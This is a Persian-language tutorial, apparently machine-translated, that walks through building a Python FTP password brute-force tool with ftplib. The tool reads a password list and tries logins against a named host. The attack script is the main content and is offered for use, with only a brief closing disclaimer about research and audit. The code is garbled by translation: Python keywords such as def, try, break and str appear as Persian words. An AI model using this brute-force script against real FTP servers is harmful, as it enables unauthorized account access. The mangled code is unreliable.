🐍 دستورالعمل ها و اسکریپت ها در Python برای brute-force FTP – جوخه امنیت اطلاعات

این آموزش FTP brute-force به شما امکان می دهد ابزار brute-force ساده رمز عبور FTP Python brute-force FTP خود را بسازید.

کد کامل فقط 20 خط طول دارد و ابزار به اندازه کافی ساده است.

ایجاد یک فایل Python جدید

ابتدا یک فایل پایتون جدید ایجاد کنید و آن را ذخیره کنید ، به شما امکان می دهد این آموزش را سریعتر ویرایش و پیمایش کنید.

وارد کردن FTPlib

FTPlib یک کتابخانه استاندارد است ، از آن استفاده کنید.

قطعه کد زیر را در پرونده Python خود بنویسید. [19659008] از ftplib import FTP

فهرست گذرواژه

ابزار brute-force باید از یک لیست رمز عبور استفاده کند زیرا ما نمی خواهیم گذرواژه ها را یکی یکی وارد کنیم: -). دانلود رایگان

ha Ahadu – ژنراتور لیست گذرواژه

مقدار رشته ای را ایجاد کنید که به شما اجازه می دهد مکان فهرست_ رمز خود را مشخص کنید.

در ادامه نام کاربری پیش فرض را که قرار است استفاده کنیم اضافه خواهیم کرد و باید رشته مورد نظر را مشخص کنیم.

 password_list = "my_password_list.txt"
نام کاربری = "ناشناس"
target = "ftp.kakoitosite.ru" 

حلقه

فرآیندی را تعریف کنید ، بیایید فراخوان آن را شروع کنیم ، ما باید لیستی تهیه کنیم که شامل لیست_کلمه عبور باشد ، و باید کدی بنویسیم که لیست را در ابزار FTP brute که ایجاد کرده ایم بارگذاری کند. پایتون.

کد زیر را به اضافه کنید:

 شروع شروع ():
setx = []
f = باز (لیست گذرواژه)
setx = f.readlines () 

افزودن مراحل حلقه و ورود به سیستم را ادامه دهید:

 برای رمز ورود در setx:
رمز عبور = password.strip ()
تلاش كردن:
ftp = FTP (هدف)
ftp.login (کاربر = نام کاربری ، passwd = رمز عبور)
چاپ ("موفقیت:" ، خیابان (رمز عبور))
زنگ تفريح
به استثنای e:
print ("Fail:"، str (e)، "[X] ->"، password) 

Start

آخرین مرحله ای که ما برمی داریم افزودن start () به انتهای کد پایتون است.

 start () 

نتیجه نهایی

 از ftplib import FTP
#گزینه ها
password_list = "my_password_list.txt"
نام کاربری = "ناشناس"
target = "ftp.kakoitosite.ru"

def start ():
setx = []
f = باز کردن (لیست گذرواژه)
setx = f.readlines ()
برای رمز عبور در setx:
رمز عبور = password.strip ()
تلاش كردن:
ftp = FTP (هدف)
ftp.login (کاربر = نام کاربری ، passwd = رمز عبور)
چاپ ("موفقیت:" ، خیابان (رمز عبور))
زنگ تفريح
به استثنای e:
print ("Fail:"، str (e)، "[X] ->"، password)
start () 

¯ _ (ツ) _ / ¯

توجه: اطلاعاتی برای تحقیق ، آموزش یا حسابرسی. مجازات قانون فدراسیون روسیه استفاده از منافع شخصی است.